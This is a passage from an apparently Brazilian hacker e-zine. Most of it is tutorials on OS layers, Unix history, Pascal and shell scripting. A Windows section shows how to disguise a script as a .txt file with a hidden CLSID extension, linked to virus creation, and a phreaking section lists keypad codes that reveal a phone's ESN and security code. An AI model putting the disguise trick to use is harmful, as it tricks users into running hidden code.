	   uma forma simblica de representao dos nveis mais baixos. Este 
           nvel fornece um mtodo para os programadores escreverem programas 
           para os nveis 1, 2 e 3 em uma forma no muito desconfortvel.

Nvel 3    Nvel do Sistema Operacional
	   Complementa um conjunto de novas instrues ao Nvel ISA, organiza 
           a memria de uma forma diferente, implementa a capacidade de 
           executar mais de um programa, alm de diversas caractersticas 
           adicionais.

Nvel 2    Nvel da arquitetura do conjunto de instrues
           nvel ISA (Instruction Set Architecture) - Descreve o conjunto
           de instrues executadas pelo microprograma do Nvel 1 a partir 
           de um interpretador ou diretamente pelo hardware.		

Nvel 1    Nvel da microarquitetura
	   Geralmente encontramos um conjunto de 8 a 32 registradores que
           formam uma memria local e a nidade de aritmtica e lgica. Os 
           registradores so conectados a UAL pelo "caminho de dados". A 
           operao do caminho de dados consiste na seleo de um ou dois 
           registradores para que a UAL haja sobre eles como, por exemplo,
           atravs de uma operao de soma, armazenando o resultado em um 
           registrador. Esta operao pode ser realizada diretamente pelo 
           hardware ou atravs de um microprograma.

Nvel 0    Nvel da lgica digital
	   Construdas a partir de  componentes analgicos, como transistores.
	   So modeladas como dispositivos digitais tendo uma ou mais entradas 
           digitais ( 0 e 1) realizando operaes bsicos como AND e OR. 
           Combinadas podem formar uma memria de 1 bit, que por sua vez so 
           combinadas para formar grupos de 16, 32, 64 bits. 

Nvel x    Nvel dos dispositivos
           Pertencente ao domnio da engenharia eltrica (transistores )


Tenha conscincia de que cada nvel representa uma abstrao distinta, com 
objetos e operaes especficas a ele. O conjunto de tipos de dados, operaes
e caractersticas de cada um dos nveis  chamado de arquitetura do nvel, ou 
seja, as caractersticas que um programador do nvel deve enxergar. Uma pessoa 
que esteja programando no nvel ISA pode utilizar as diversas instrues desse 
nvel sem ter que entrar em consideraes relativas a como essas instrues so 
realmente implementadas em hardware ou se so implementadas em microprogramao.

O objetivo dos nveis  implementar uma mquina virtual que extende as 
funcionalidades do nvel imediatamente abaixo. 

Um SO  um programa que, do ponto de vista do programador, adiciona um 
conjunto de novas instrues ao nvel ISA. 

Nosso objetivo ao estudar  o Nvel do Sistema Operacional  entender como os 
processos so implementados a um nvel mais baixo quele q estamos acostumados
qdo trabalhando com linguagens de alto nvel. Mas , novamente, tenha 
conscincia de que sempre podemos descer um nvel a mais, para entendermos 
como as coisas funcionam realmente. E mesmo que vc se torne um especialista na 
implementao de sistemas operacionais, acredite mano, vc sempre vai sentir 
que tem muita coisa envolvida em um sistema computacional.

T ligado naqueles artigos de assembly e C? Pois entao, se vc fez o dever de 
casa direitinho, e procurou se aprofundar no assunto ( se n o fez o q c ta
esperando ? ) vai te servir pra entender as porcoes de code que vamo discutir 
nestas sees. E mesmo manjando de C e Assembly vc ainda corre o risco de 
"boiar" no codigo kra. Mas no desista, leia, leia de novo, leia mais uma vez, 
vai lendo. At a hora que o negcio domina a tua mente e vc comea a entender
o barato. Tambm buscar outras fontes de informao  recomendvel. Tem que 
variar na alimentao, se comer s um tipo de alimento vc no vai longe. Por 
isto deixei alguns links no final do artigo.


Bom , tendo conscincia do que compe um sistema computacional e do "nvel" 
de arquitetura que vamos ter de lidar aqui, ns podemos seguir adiante.


Vamos s fazer uma introduo no histrico do UNIX

UNIX

O Unix foi desenvolvido no incio dos anos 70 na Bell LAbs. Sua primeira 
verso foi escrita por Ken Thompson na linguagem de montagem do minicomputador 
PDP-7. 
Seguiu-se ento uma nova verso para um PDP-11 escrita em uma linguagem 
recm-desenvolvida, chamada C( Projetada por Dennis Ritchie). Atravs de um 
trabalho feito por estes dois ilustres senhores, as universidades passaram a 
solicitar a Bell uma cpia do Unix, o que foi feito sem problema algum, mas 
com o devido licenciamento e uma pequena taxa. Pelo fato de o PDP-11 ser a 
mquina predominante em todos os departamentos de cincia da poca , e pelo 
fato de o cdigo fonte ser fornecido com o sistema, muitos universitrios 
puderam ter idias de como melhor-lo. Mudanas significativas foram feitas 
pela Universidade de Califrnia , em Berkeley. Eles portaram o sistema para 
o VAX, desenvolveram a memria virtual paginada , a introduo no sistema 
dos protocolos TCP.IP, dentre outra srie de melhorias significativas.
No entanto, do outro lado a AT&T continuou no desenvolvimento do Unix 
lanando o System III, em 1982, e o System V, em 1984. 
O que aconteceu  bvio. No final dos anos oitenta tinhamos duas verses 
do sistema Unix praticamente incompatveis. Foi ento que surgiu um padro 
para o Unix, o POSIX - Portable Operating System-IX, desenvolvido pelo 
pessoal do IEEE e conhecido por eles por P1003, finalizando ento com o 
POSIX se tornar um padro internacional. O PAdro POSIX para o Unix 
consiste de diversar partes. A primeira conhecida como P1003.1, define as 
chamadas de sistemas suportadas ( este define algo em torno de 60 chamadas).
A segunda, P1003.2, os programas utilitrios bsicos, e por ai vai.

Desta forma meus caros, como vamos estar falando basicamente de sistemas com 
base no padro POSIX ( E o linux  um deles) estes so os processos envolvidos
na implementao de um SO que mais entraremos em detalhes 

Gerenciamento de processos
     Uma das coisas mais fundamentais de um SO  o gerenciamento de processos. 
     Vc pode ver um processo	como um programa em execuo( VI ou Notepad). A 
     tarefa do SO  alocar um espao na memria do teu micro para carregar o 
     programa e execut-lo. Tudo muito simples. Mas se vc parar pra pensar q
     em um sistema moderno h varios programas em "paralelo" executando, a 
     coisa se torna mais complexa, e a implementao	de algoritmos de 
     agendamento de tarefas( O que veremos em outro artigo detalhadamente ), 
     e o fato de que um programa tem os seus prprios registradores (lembra-se 
     das sees de assembly do Gotoxy? ), sua rea de dados e pilha... vixii...
      bem complexo. Em um sistema multi-tarefa( com vrios processos ) vc tem 
     que pausar um programa por alguns milsimos de segundo para dar lugar a 
     outro programa executar. Isto implica em armazenar toda a estrutura 
     daquele exato "momento" em que teu programa parou, com os devidos 
     valores e pilha, e aprontar um novo ambiente de execuo para o novo 
     processo. Depois de um perodo de tempo este processo vai passar pela 
     mesma coisa. Vai ser "armazenado" para que o outro processo possa 
     continuar em execuo. E por a vai, enquanto tua mquina tiver ligada 
     este mecanismo perdura durante todo o tempo(  claro, sem contar qdo d 
     aquele pau de sistema e vc tem de reinicializar, qdo no tem de fazer
     coisa pior. ). Se vc j  rato na programao em C no Linux j deve ter 
     usado aquelas chamadas de sistema fork() e exec(), pois , a idia 
     a gente entrar em detalhes na implementao destas rotinas. Sacar o 
     lance por detrs delas.

Gerenciamento de Memria
      lgico que o que todo programador gostaria de ter  uma memria
     rpida que se estendesse infinitamente. No entanto ainda no inventaram 
     este tipo de coisa,  assim sendo no resta outra senao deixar o servio 
     para o SO controlar a forma como a memria  utilizada. Fica a cargo do 
     SO alocar memria para os processos e liberar esta memria qdo no for 
     mais utilizada por determinado processo para que possa ser utilizada por 
     outro. A forma como isto  feito ser abordada em detalhes em artigos 
     posteriores.

Sistema de Arquivo
     Um arquivo  uma das estruturas de dados que todo usurio de computador 
     tem que lidar. As implicaes da implementao de um sistema de arquivo 
     - o seu armazenamento, ser acessvel a mltiplos processos, armazenar 
     uma grande quantidade de informaes, etc. requer que coisas como listas 
     encadeadas (sim kra, aqueles algoritmos que vc viu qdo estudou C ou outra
     linguagem qualquer), mapa de bits, etc... tudo isto tem implicao na 
     implementao de um sistema de arquivos e , pra variar ( no fique bravo 
     comigo ) veremos isto em detalhes em artigos posteriores.

Controle de dispositivo
     Isto ns j discutimos - ou melhor .. eu q acabei discutindo ao tentar 
     colocar na cabea de vc6 pra estudar teoria de SO. Quase todos os 
     processos do teu sistema mapeia um dispositivo fisico,tirando o 
     processador,a memria e algumas coisas a mais, todas as operaes de 
     controle de dispositivo so executadas por um programa especfico para 
     este dispositivo. Este programa  o driver de dispositivo. O kernel do 
     sistema operacional deve possuir um driver de dispositivo para cada 
     perifrico do teu sistema.	Em outro artigo (catzo..eu e esses outros 
     artigos ) a gente v uns code detalhados sobre a implementao de device 
     driver. Com cdigo comentado e tudo mais.

Rede
     A rede tem de ser contralado pelo SO pois h muitos processos
     envolvidos, os pacotes que trafegam pela rede so "pegos", identificados 
     e "enviados" antes que um determinado processo cuide deles. Eu vou 
     preferir escrever sobre esta parte junto com os device drivers pois 
     vem a calhar... pelo menos pra mim heheh. No preciso nem te falar ( ou 
     escrever ) que isto s em outra hora n no?

 bvio que no vamos deixar de falar sobre o que so chamadas de sistemas, 
mdulos do kernel e outras coisas mais. Mas, j disse, o assunto  extenso e 
vai dar muito pano pra manga. Pacincia que vamos tratar de todos eles.
Espero que vc6 consigam encontrar utilidade pra estes artigos, quem sabe pagar 
de intelectual ao falar sobre o agendador de tarefas, comunicao 
interprocesso, etc. com teus mano( ou tuas mina.. mas no recomendo.. srio..)
 
Ou o que  mais provvel, teus mano te achar um puta dum nerd besta :-/

t+
warez.

                                              Warez
                                              warezkernel@zipmail.com.br
.:x| -------------------------------------------------------------------|x:.










SETOR [06]
==[ A Linguagem Pascal ]==
==[ por Gotoxy         ]==

 (-------------------------------------------------------------------------
  Retirei alguns topicos importantes do site www.pascaltotal.hpg.com.br
  para ajudar aos fucadores que estao querendo aprender mais a fundo
  essa linguagem de programacao. Voce pode obter mais coisas interessantes 
  no site do Pascal Total. PS: ESTE TEXTO NAO EH DE MINHA AUTORIA           
  -------------------------------------------------------------------------}


INDICE
=====================================
0x01 Arquivos
0x02 Leitura e Escrita de Perifricos
0x03 Recurso
0x04 Ponteiros
0x05 Fim do Texto
=====================================



------------------------------------ // ----------------------------------------

 _________________
|                 |
| 0x01 - Arquivos |
|_________________|


Arquivos Binrios

Arquivos do tipo binrio usam o sistema binrio de numerao para armazenar 
o as informaes numricas quanto as informaes literais, estas ltimas atravs
de cdigos numricos dos seus caracteres (ASCII).Na linguagem Pascal a 
organizao dos arquivos binrios  sempre seqencial, isto , os registros so
colocados um aps o outro, em seqncia. Quanto ao acesso, embora a linguagem 
Pascal s estabelea o acesso seqencial dos arquivos binrios, as suas 
implementaes geralmente tambm permitem o seu acesso direto, atravs do 
nmero de ordem do registro.

Declarao de Arquivos Binrios

type
      nome do tipo = File of tipo do registro;
var lista de identificadores: nome do tipo;

Exemplo:

type
     ArqInt = File of Integer;
var Notas: ArqInt;


--------------------------------------------------------------------------------

Arquivos Textos

Arquivos do tipo texto armazenam todas as informaes, numricas ou literais, 
atravs de cdigos de seus caracteres (geralmente ASCII). Por exemplo, o valor 
numrico 65  armazenado atravs dos caracteres '6' e '5', cujos cdigos ASCII 
so 54 e 53.Os caracteres de um arquivo tipo texto (ou os seus cdigos) so 
agrupados em linhas, que por sua vez so agrupadas em pginas. O caractere de
cdigo 13 (#13) indica o fim da linha, o de cdigo 12 (#12) o fim da pgina e 
o cdigo 26 (#26) o fim do arquivo. Por exemplo se fao write(Arq,#13); estou
criando uma quebra de linha no arquivo.

* A organizao dos arquivos textos no Pascal assim como os arquivos binrios 
tambm  seqencial, mas no permite o acesso direto aos elementos do arquivo.

Declarao de Arquivos Textos

type
      nome do tipo = Text;
var lista de identificadores: nome do tipo;

Exemplo:

type
     ArqText = Text;
var Notas: ArqText;


--------------------------------------------------------------------------------

Para a manipulao de arquivos:
- Associar uma varivel-apontador para o arquivo;
- Abrir o arquivo;
- Comandos a serem realizados no arquivo;
- Fechar o arquivo;

Abertura de Arquivos

Assign (variavel do tipo arquivo,nome externo);

* Variavel do tipo arquivo - Pode ser uma varivel para arquivos do tipo 
binrio ou para arquivos do tipo texto.
* Nome externo - Nome e/ou caminho onde est o arquivo gravado no HD

Exemplo:

var ArqText: Text;
      ArqBin: File of Integer;
begin
       assign (ArqText,'ArquivoTexto.txt'); {Associa a uma varivel para um 
arquivo do tipo txt ao arquivo "ArquivoTexto.txt".}

       assign (ArqBin,'ArquivoBinario.bin'); { Associa a uma varivel para um 
arquivo do tipo binrio ao arquivo "ArquivoBinario.txt". }
end.

Reset (varivel do tipo arquivo); 
Para abrir um arquivo do tipo texto ou binrio para somente leitura.

Append (varivel do tipo arquivo texto); 
Para abrir um arquivo para insero, sendo que a insero ir continuar aps 
o ltimo dado inserido no arquivo.
* Apenas para arquivos texto.

Rewrite (varivel do tipo arquivo); 
Caso o arquivo ainda no tenha sido criado,  criado um arquivo (especificado 
no assign) caso contrrio se o arquivo j existir ele  sobrescrito e  
colocado no modo de insero.

Exemplo de uma abertura de arquivo:

assign(Arq,'Arqbin.bin');
reset(Arq);

Associa um arquivo do tipo binrio a varivel Arq, e abre o arquivo para 
somente leitura.

Fechamento de Arquivos

Close (varivel do tipo arquivo);

Fecha o arquivo.


--------------------------------------------------------------------------------

Leitura de Arquivos

read (varivel do tipo arquivo, varivel que ir receber o valor lido); 
Exemplo:

var  Arq: File of Integer;
      Num:Integer;
begin
      assign (Arq,'ArqBin.bin');
      reset (Arq);
      read (Arq, num);
      close (Arq);
end.

readln (varivel do tipo arquivo, varivel que ir receber o valor lido); 
Exemplo:

var  Arq: Text;
      Linha:String;
begin
      assign (Arq,'ArqText.txt');
      reset (Arq);
      readln (Arq, linha);
      close (Arq);
end.

* O comando read e readln podem ser usados para arquivos do tipo texto, mas 
para arquivos do tipo binrio s se pode usar o comando read.


--------------------------------------------------------------------------------

Escrita de Arquivos

write (varivel do tipo arquivo, varivel que contm o valor a ser gravado); 
Exemplo:

var  Arq: File of Integer;
      Num:Integer;
begin
      num:=10;
      assign (Arq,'ArqBin.bin');
      reset (Arq);
      write (Arq, num); {  gravado o nmero 10 num arquivo binrio }
      close (Arq);
end.

writeln (varivel do tipo arquivo, varivel que contm o valor a ser gravado); 
Exemplo:

var  Arq: Text;
      Linha:String;
begin
linha:='Teste de Arquivos';
assign (Arq,'ArqText.txt');
rewrite (Arq); { Cria um arquivo "ArqText.txt" e o deixa em modo de insero }
writeln (Arq, linha); { gravado a string "Teste de Arquivos" no arquivo texto }
close (Arq);
end.

* O comando write e writeln podem ser usados para arquivos do tipo texto, mas
para arquivos do tipo binrio s se pode usar o comando write.


--------------------------------------------------------------------------------

Funes Auxiliares

a) Nome   
b) Utilizao
c) Arquivos Binrios
d) Arquivos Textos 

1. Primeira Funo Auxiliar
a) Seek (varivel do tipo arquivo,nmero do registro); 
b) Posiciona o registro do apontador para o nmero de registro especificado.  
c) Sim
d) No 

2. Segunda Funo Auxiliar
a) FileSize (varivel do tipo arquivo); 
b) Retorna o nmero total de registros de um arquivo binrio.  
c) Sim 
d) No 

3. Terceira Funo Auxiliar
a) EOF (varivel do tipo arquivo );  
b) Retorna TRUE quando o apontador chega no final do arquivo. 
c) Sim 
d) Sim 

4. Quarta Funo Auxiliar
a) EOLN (varivel do tipo arquivo); 
b) Retorna TRUE quando o apontador chega no final da linha do arquivo.
c) Sim 
d) Sim 



------------------------------------ // ----------------------------------------


 _________________________________________
|                                         |
| 0x02 - Leitura e Escrita de Perifricos |
|_________________________________________|


Na linguagem Pascal, os dispositivos perifricos so tratados como arquivos 
tipo texto, com nomes externos prefixados:

CON - Representa o console (teclado e vdeo);
LPT1, LPT2, LPT3 - Representa at 3 impressoras;
COM1, COM2 - Representam as duas portas seriais;
NUL -  um dispositivo que ignora comandos de gravao.

* Caso o nome do arquivo for omitido quando  utilizado os comandos read, 
readln, write, writeln e as funes EOF e EOLN, o compilador Pascal pressupe 
que o dispositivo perifrico  o console, dispensando os comandos assign, 
reset, rewrite e close.

Exemplo de um programa que escreve a mensagem 'Ol!', na impressora:

program Impressora;
var Imp: Text;
begin
       assign (Imp,'LPT1');
       rewrite (Imp);
       writeln (Imp, 'Ol!');
       Close(Imp);
end.



------------------------------------ // ----------------------------------------


 _________________
|                 |
| 0x03 - Recurso |
|_________________| 


Basicamente recurso  quando uma rotina chama ela mesma at que seja 
satisfeita uma condio de parada.

Estrutura de uma recurso:

if Condio        { Condio para que ocorra a recurso }       
   then begin
                  comandos a serem executados
                  chamada recursiva
           end;

* Caso voc ocorra de escrever:

if Condio        { Condio para que ocorra a recurso }       
   then begin
                  chamada recursiva
                  comandos a serem executados
           end;

Os comandos sero executados de trs pra frente.

Exemplos:

1) Exemplo de um programa que imprime na tela os nmeros de 1 a 10.

procedure Imprime(Num:Integer);
begin
      if (Num <= 10)
        then begin
                     writeln('Nmero ',Num);
                     Imprime(Num+1);
               end;
end;

2) Exemplo de um programa que imprime na tela os nmeros de 10 a 1.

procedure Imprime(Num:Integer);
begin
      if (Num >= 1)
        then begin
                     Imprime(Num-1);
                     writeln('Nmero ',Num);
               end;
end;

Da no programa principal eu poderia escrever:

program Teste_de_Recursao;
var Num:Integer;
begin
       { Exemplo 1 }
       Imprime(1);
       { Exemplo 2 }
       Imprime(10);
       readln;
end.

Explicando a Pilha de Execuo

Considere a procedure do exemplo 2.

- Quando ela  chamada com o valor inicial = 10, ela passa pelo if sendo 
que 10 >= 1 retornar TRUE, ento ela entra no begin & end.

- O primeiro comando j  a chamada recursiva, chamando novamente a procedure 
com valor inicial - 1, ou seja, a procedure ser executada novamente agora 
com num = 9, passar novamente pelo if sendo que 9 >= 1 retornar TRUE, ento 
ela entra no begin & end e ocorrer novamente uma chamada com o valor 
inicial - 1, ficando nesse looping at que a condio seja FALSE.

- Quando o valor inicial for igual a 1 e ocorrer novamente a chamada recursiva, 
ele vai passar pelo if dando FALSE, pois 0 >= 1. Ocorrendo isso, as chamadas a 
procedure Imprime iro retornar a linha que fez a chamada recursiva, passando 
para o prximo comando, fazendo com que seja impresso na tela:

10
9
8
7
6
5
4
3
2
1


------------------------------------ // ----------------------------------------


 ___________________
|                   |
|  0x04 - Ponteiros |
|___________________|

Um endereo de memria  um nmero que serve para identificar um byte 
especfico da memria. Podemos imaginar a memria como sendo um vetor 
onde cada elemento  um byte, acessvel atravs de um nmero que  seu 
ndereo.

Normalmente usamos variveis para armazenar dados (caracteres, inteiros, 
reais, etc.). Se um endereo  tambm um nmero, nada impede que possamos 
criar tambm variveis para armazenar endereos de memria. Estas variveis 
so denominadas ponteiros.

Antes de se utilizar ponteiros, precisamos definir seu tipo.

type
     Nome da variavl ponteiro = ^Tipo de dados;

* Sendo tipo de dados um record, um vetor, uma varivel, outro tipo, etc.

Exemplo:

type
     Dados = Record
                           Nome:String;
                           Idade:Integer;
                   End; 
     PtrDados = ^Dados;

Aps definido um tipo, pode-se criar variveis desse tipo.

Exemplo:

var PDados:PtrDados;

* Se uma varivel ponteiro P armazena um endereo de memria qualquer, ento
P^ nos d o contedo armazenado naquele endereo.

Exemplo:

PDados^ -  um record
PDados^.Nome -  uma string de caracteres
PDados^.Idade -  um nmero inteiro

Funes Pascal para Ponteiros

New (Tipo Ponteiro);
Aloca uma rea de memria e guarda seu endereo em P.

Dispose (Tipo Ponteiro);
Serve para liberar a rea de memria cujo endereo est em P.

* Sendo que uma rea de memria alocada por New, s estar disponvel de novo, 
se for usado o comando Dispose ou quando a utilizao desse rea for terminada.


------------------------------------ // ----------------------------------------


 _____________________
|                     |
| 0x05 - Fim do Texto |
|_____________________|

       EoF

                                                   Gotoxy
                                                   gotoxy@linuxbr.com.br
.:x| -------------------------------------------------------------------|x:.










SETOR [07]
==[ Shell Script ]==
==[ por azSO     ]==

INTRODUCAUM =]
 
 Nem sei quem vai ler ista introducao mas vamos nessa. Eh a primeira vez 
que escrevo para qualquer zine, sou um newbiw como todos e ultimamente tenho me 
dedicado muito a isso, a essa vida de newbie a qual tenho muito orgulho. 
Escrevo este txt simples e basico para adiantar mais alguma coisa aqueles 
que nao sabem e que querem adquirir e PASSAR mais informacoes entre todos, 
pois se nao passarmos como vamos conseguir obter? eh isso ae!
 Ae pessoal da Unsekurity Team minha visao da arte de fussar mudou 
totalmente depois que conheci vc entaum isso mostra mais uma vez que a 
satisfacao em divulgar informacoes estao no sangue de vcs. Este txt foi 
baseado no txt de sockets do Nibble da unsekurity e eh o basico pois nao 
quis copiar o txt do cara e sim aprender e mostralo de uma forma feita por 
mim =]. Pense antes de agir cara, pois a informacao que corre na net eh 
boa, mas nada adianta se nao souber usar eh isso ae.
 Valeu vamos ao assunto =]

#### SHELL SCRIPT ####

ss - shellscritpt eh uma programacao em shell, tipow se tu vai fazer a 
mesma coisa sempre manow e nao quer coloca pra executar automaticow, vc 
faz um shellscript para agilizar as coisas, isso eh muito usado em 
tecnicas fussadoras. =] como nosso amigo Gotoxy jah colocou um basico na 
primeira zine (00) vamos nos aprofundar mais nesse assunto com uns 
exemplos pequenos em prog em bash, depois irei fazer outros basicos em 
csh. Se nao souber as estruturas basicas tal como > maior que < menor que, 
leia a zine 00, e volte a ler este txt =].

#### VARIAVEIS ####

Tipow vamos rever este conceito, pois eh escencial entender isso...
as variaveis armazenam valores que sao definidos por nos e depois fazemos 
o que quisermos com elas, condicoes, dah um print e etc.

Se colocarmos um variavel com o nome de "var" valendo dois por exemplo, 
podemos mostra-la na tela.

Sluup@darkstar:~$ var=2
Sluup@darkstar:~$ echo $var
2
Sluup@darkstar:~$

eh preciso colocar um $ para que o sistema saiba que a var eh uma 
variavel, prova disso eh que se colocarmos apenas o "var" teriamos o 
retorno var...

Sluup@darkstar:~$ echo var
var
Sluup@darkstar:~$


Pronto, estah ae a prova. Mas vamos parar com isso e ir pra algo mais 
interessante. Aqui vai o exemplo do script da zine 00 comentado. ALERTANDO 
MAIS UMA VEZ QUE ESSE TXT EH APENAS MAIS UMA FORMA DE APRENDIZADO PARA 
SIMPLIFICAR AS COISAS NADA MESMO DE COMPLEXO SE QUISER COISA MAIS COMPLEXA 
PROCURE =] POIS TB SOU NEWBIE E NAUM SOU CHEIO DO TEMPO =]
-------------------------------------------------------------------------------
*Exemplo de Script feito por Gotoxy --zinesbr 00** ps: feito no RedHat

#!/bin/sh
clear     #limpa a tela                                             
echo Reiniciando o sendmail... espere! #apenas imprime msg na tela
etc/rc.d/init.d/sendmail stop  # finaliza o arkivo 
sleep 3     #aguarda 3 segundos                                    
echo ""   # pula uma linha
/etc/rc.d/init.d/sendmail start # inicia o arkivo
sleep 2                 #aguarda 2 segundos
echo "Verificando se o sendmail esta no ar:" #apenas imprime essa msg
echo "" #limpa a tela
ps -ef | grep sendmail #da um ps como se vc estivesse digitando na propria shell
echo "" #limpa a tela
exit 0 #exit ---sem comentarios =]
-------------------------------------------------------------------------------
Bem, isso eh bem simples, ah manha eh...finja que vc estah digitando na 
propria shell =]. para executar esse prog e todos os outros =), salve como 
.sh e depois de um chmod +x arquivo.sh =]

Sobre esses exemplos bobos nao temos muito o que dizer tipow se vc quer 
dar um ls -a mas nao quer digitar ls -a pode fazer um script (exemplo 
totalmente inutil, mas eh o basicow =])

--------------------
#!bin/bash
ls -l
exit
--------------------
Podemos ver que eh como se vc realmente tivesse digitando na propria shell 
=]. Let's go :P


## TESTES ##
Antes de comecarmos na parte de testes vamos ver umas peculiaridades do ss 
na linha de comando

$0 - eh o nome do programa
$1 - eh o primeiro parametro
$2 - eh o segundo paramentro       -> tabela retirada do txt do Unsekurity 
                                      Team desenvolvido por Nibble
...
$* - todos os paramentros
$# - o numero de parametros

Agora as coisas ficam mais interessantes...com as funcoes if e case

#### IF ####

como em qualquer linguagem de programacao, em bash nos temos as estruturas 
de testes. O if serve para avaliar certa condicao...se isso entaum aquilo.

exemplo do uso de if:


  #!/bin/bash
  if [ ! $1 ]; then
  echo "tente com argumento!";
  exit
  fi
  echo "isso ae manow ta pegando o jeito =]"
   
Uma das funcoes que gosto muito de trabalhar, e serah a que vou fechar o 
assunto de funcoes, tipow nao ensinei nada =/ bah, mas eh que tah phogo 
falei que ia fazer e tow fazendo, mas o tempo me mata. Ae doidos o negocio 
eh procurar mais coisa e com certeza logo logo terah um tutorial melhor na 
zine, quem sabe na proxima =] nao esqueci dos exemplos vou por no 
final...vamos a case =]


# FUNCAO CASE #
Quem possui uma certa base de C nao terah dificuldade alguma nisso aqui. 
Vamos a pratica...
--------------------------------------------------
#!/bin/bash
echo "#############################"
echo "Programa para demonstrar case"
echo "#################--Zinesbr =]"
sleep 3
case $1 in
(1) echo "Vc eh o numero 1 =]";;
(2) echo "Vc eh o segundo";;
(3) echo "Vc eh o terceiro";;
(*) echo "e...vc estah malzinho hein =]";;
esac
---------------------------------------------------
Como vimos este foi um exemplo de uso de case comentadinho ae e bem 
basicow, lembrando que esse txt eh basico e se quiser algo avancado 
procure (isso teh enchendo =]). Eh isso ae agora vai o exemplo de ss que 
saiu na PC_MASTER 51. =]

===============================================================================
#/bin/bash
while :
do
clear
echo "..........................."
echo "Menu Principal             "
echo "..........................."
echo "[1] Data/Hora"
echo "[2] Arquivos no diretorio"
echo "[3] Calendario"
echo "[4] Editor"
echo "[5] Sair"
echo "=========================="
echo -n "Digite sua opcao [1-5]:"
read opcao
case $opcao in
(1) echo "Hoje eh `date`, precione uma tecla..."; read;;
(2) echo "Arquivos em `pwd`"; ls -l;
echo "Precione uma tecla...";read;;
(3) cal; echo "Precione uma tecla...";read;;
(4) pico;;
(5) exit 0;;
(*) echo "As opcoes disponiveis sao: 1 ,2,3,4 ou 5";
echo "Precione uma tecla...";read;;
esac
done
===============================================================================
 Esse menu eh bem legal pra quem estah comecando, sei que tem comandos que 
ainda nao apresentei, mas tente ler que vai entender, pois sao comandos 
faceis. E isso ae galera estamos acabando este txt que tem o minimo do 
minimo do minimo...(chega =]) sobre ss. Tem algumas info que nao 
passei aqui, mas virah em um proximo txt (nao sei se terah, mas 
pretendo faze-lo).Procurem mais coisas veja abaixo alguns links ou esperem a 
proxima zine falows =]

LINK ShellScript

http://unsekurity.virtualave.net  -> txt feito por Nibble 
http://www.olinux.com.br  -> tem algo sobre shellscript na parte de 
                             programacao.
http://www.jonathas.com.br/manual-shell.txt -> txt feito pelo Dimitri.

Apenas isso falows =]

                                                     azSo
                                                     azsobr@yahoo.com.br
.:x| -------------------------------------------------------------------|x:.



           






SETOR [08]
==[ Loucuras do Windows ]==
==[ por Bashx           ]==

Topicos:

1. Introducao
2. Virus em Arquivo TxT
3. Sinistro!!!
4. Terminando


1. Introducao
~~~~~~~~~~~~~

Fala ae galera!! Estou aqui para falar de umas loucuras que
d para fazer no OS WINDOWS! 
  Meu amigo, esse windows eh demais... aparece cada coisa 
extraordinaria para fazer nele.. muito cool!
    deixando a conversa de lado, le abaixo agora umas 
malukisses q d para fazer!
 

2. Virus em Arquivo TxT
~~~~~~~~~~~~~~~~~~~~~~~

Um carinha ai, que naum me lembro o nome descobriu um jeito muito loco
de infectar maquinas rodando Windows.... oia que locura!

O windows utiliza um codigo entre {} para identificar arquivos .COM
(que por sua vez sao arquivos executaveis!).

Sao chamados Class ID ou somente CLSID e sao representados por um numero
bem grandinho! 

Veja esse CLSID: .{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}.

O Iexplorer e o Wexplorer naum mostram essa extensaum CLSID, somente 
a extensaum do arquivo real.

Ex: Crie a um arquivo chamado teste.txt no bloco de notas, e coloca o 
seguinte codigo:

<script>
alert("Sua maquina ja era!");
</script>

Salve o arquivo... e depois renomeia o mesmo adicionando a extensaum
.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B} (naum se esqueca do .inicial).

Vai ficar tipo: 
teste.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}

Mas o windows naum vai mostrar toda essa extensaum, vai mostrar apenas:
teste.txt

Depois execute! A caixa de dialogo vai abrir com a msg "Sua maquina ja era!".
Se tivesse um codigo maligno ali dentro, a maquina realmente ja era! Eh oh 
uma ideia de como saum criados virus como o I LOVE YOU (ama nada!;p).

Eu acho que soh as maquina que exibem a extesaum dos arquivos funciona!
Mas tenta ae!!!


3. Sinistro!!!
~~~~~~~~~~~~~~

NO WINDOWS DA PRA FAZER ISSO?

ahueuhae, sakem soh.... quem naum sabe vai aprender a fazer um arquivo 
sem nome agora!!!

Ta vendo esse teu arquivo ai no Desktop? (qualquer arquivo)

poiseh! Quer v ele ficar sem nome? Entao tenta deixar ele sem nome 
atraves da opcao Renomear! O Windows d a seguinte mensagem:
" necessario digitar um nome de arquivo."

Mas se tu for renomear e digitar a seguinte combinacaum (ALT+0160).
KABUMMMM ARQUIVO SEM NOME!!!!! (ahuehueahu). Lezo, na verdade num ta 
sem nome, e que essa combinacaum representa o caractere NULO (espaco ( )) 
sakou?

("direitos" (entre aspas) Geek)


4. Terminando
~~~~~~~~~~~~~

Poiseh pessoal, eu BashX vou terminando por aqui. O Windows nao 
ruim nao, ele s possui um errozinhos, mas tudo bem!!:) 
Bem entao  isso pessoal, at as proximas loucuras do Windows!!
Falow.


                                                     BashX
                                                     trainee3@dcc.fua.br 
.:x| -------------------------------------------------------------------|x:.










SETOR [09]
==[ Phreaking Parte II ]==
==[ por Morfeu         ]==

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Multitac SC3160 CDMA
####################

Esse texto fala um pouco sobre o aparelho SC3160 CDMA apelidado 
de Movistar Amigo no RJ e de Baby em SP.

Tpicos:

[01] Entrando no sistema
[02] Alguns comandos

[01] Entrando no sistema

Pra entrar no software do seu celular tm um jeito muito mais agradvel 
do que tirar a bateria e por uma porra de metal no pino do meio da bateria 
(voc j deve ter lido isso por a... hehehe). Pegue seu telefone, aperte 
a tecla FCN e digite essa sequncia: 00 ** 83 78 66 33
Aps ter digitado a sequncia, aperte STO. Aparecer isso: US '
Isso  o prompt de comando (# hehehe), ou seja, quer dizer que voc fez 
tudo certo e j est dentro do sistema.

[02] Alguns comandos

Pra dar os comandos pro software do celular voc digita o comando e 
aperta a tecla # que funciona como o ENTER a no seu teclado. ;]

07# - Desliga o recebimento de som
08# - Liga o recebimento de som
38# - Mostra o ESN do seu aparelho (aquele serial que tm na bateria, 
      tira ela e v...)
19# - Mostra a verso do software
55# - Entra em outro modo de programao, por ele d pra ver o nmero do 
      aparelho, o cdigo de bloqueio e segurana do seu aparelho e outras 
      coisas... Depois que voc tiver nessa opo, aperte * pra ir vendo 
      o contedo que aparecer assim (exemplo):
01
67

Isso indica que 01  a "pgina" que voc t vendo e 67  o contedo...
Vai avanando com o boto * pra ver as outras... quando voc chegar na 03 
ver que ali fica o nmero do seu celular, na 06 fica o cdigo de segurana, 
